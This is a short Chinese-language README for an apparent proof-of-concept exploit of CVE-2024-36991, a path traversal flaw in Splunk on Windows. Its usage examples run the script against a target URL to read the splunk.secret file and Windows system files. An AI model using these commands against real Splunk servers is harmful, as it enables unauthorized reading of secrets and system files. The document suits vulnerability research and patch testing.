CVE-2024-36991 - Splunk 路径遍历

CVE-2024-36991 的概念验证，该漏洞允许攻击者在 Windows 上低于 9.2.2、9.1.5 和 9.0.10 版本的 Splunk 中读取任意文件。

使用方法

读取 Splunk 配置文件

要读取 Splunk 文件，只需运行脚本，传入运行 Splunk 的目标 URL 和你想读取的配置文件。例如：

python3 CVE-2024-36991.py -u 'https://example.com:8000' -f '/etc/auth/splunk.secret'

读取 Windows 系统文件

要读取 Windows 系统文件，只需添加 --system-files 标志。例如：

python3 CVE-2024-36991.py -u http://haze.htb:8000 -f '/Windows/System32/drivers/etc/hosts' --system-files

始终将此工具用于正当目的。遵守道德规范 (: